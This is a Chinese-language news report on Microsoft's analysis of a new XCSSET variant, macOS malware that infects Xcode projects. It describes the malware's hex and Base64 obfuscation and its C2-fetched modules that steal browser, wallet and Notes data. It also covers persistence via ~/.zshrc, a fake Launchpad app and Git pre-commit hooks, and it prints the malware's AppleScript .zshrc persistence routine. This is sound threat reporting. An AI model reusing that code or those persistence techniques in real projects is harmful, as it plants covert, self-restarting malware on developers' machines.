微软威胁情报团队发现了一种新型的XCSSET变种,这是一种复杂的模块化macOS恶意软件,能够感染Xcode项目,并在开发者构建这些项目时执行。
这是自2022年以来的首个已知XCSSET变种,采用了增强的混淆方法、更新的持久化机制以及新的感染策略,旨在窃取macOS用户的敏感信息。
恶意软件的感染策略
该恶意软件的感染策略利用了开发者在开发与Apple或macOS相关的应用程序时共享项目文件的方式。新型XCSSET变种采用了模块化的方式,其有效载荷经过深度编码,并改进了错误处理机制。
为了在受感染设备上保持低调并尽可能保持无文件状态,该恶意软件广泛使用脚本语言、UNIX命令和合法二进制文件,这使得检测和清除变得极具挑战性。在代码层面,恶意软件对模块名称进行混淆,以阻碍静态分析,并采用随机化方法生成有效载荷。
与之前的变种仅依赖xxd(hexdump)进行编码不同,最新版本还引入了Base64编码技术。
持久化技术
该恶意软件采用了三种不同的持久化技术,确保其有效载荷在以下情况下启动:新shell会话开始、用户打开伪造的Launchpad应用程序或开发者在Git中提交更改。
微软研究人员指出,感染链由四个阶段组成,首先是构建受感染的Xcode项目时运行的混淆shell有效载荷。
混淆的第一阶段 shell payload(来源 – Microsoft)
第一阶段的有效载荷在被传输到 shell 之前,会经过多次十六进制解码迭代:
sh -c"(echo 33336363233343633335233303536
在初始感染之后,该恶意软件会从其命令与控制服务器(C2)下载额外的模块,其中包括能够窃取系统信息、浏览器扩展数据、数字钱包信息以及来自 “备忘录” 应用程序的笔记内容的组件。
该恶意软件通过几种复杂的方法来实现驻留。其中一种方法是修改~/.zshrc 文件,以便在每次启动新的 shell 会话时执行恶意代码。
.zshrc 驻留方法(来源:微软)
恶意软件在利用.zshrc 文件驻留时,会先检查是否存在恢复标志,然后根据标志决定是删除恶意文件,还是创建并更新它:
on doMain() try if RESTORE_DEFAULT is true then do shell script "rm -f ~/.zshrc_aliases" log ".zshrc_aliases removed" else set payload to getPayloadBody("Terminal") set payload to quoted form of payload do shell script "echo " & payload & " > ~/.zshrc_aliases" log ".zshrc_aliases updated" set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases" set payload to quoted form of payload do shell script "touch ~/.zshrc" do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc" log ".zshrc done" end if on error the errorMessage log "failed at .zshrc: " & errorMessage return end try end doMain
另一种驻留手段是创建一个伪装成启动台的恶意应用,只要用户试图打开真正的启动台,这个伪装应用就会执行恶意代码。
此外,恶意软件还会通过修改 Git 仓库的预提交钩子,在开发者提交更改时执行有效载荷,从而感染 Git 仓库。
微软建议用户及时更新到最新版本的操作系统,在使用 Xcode 项目时仔细检查,同时启用微软端点防护软件(Microsoft Defender for Endpoint)等安全防护工具,这些工具能够检测并隔离该恶意软件变种,有效保护系统安全。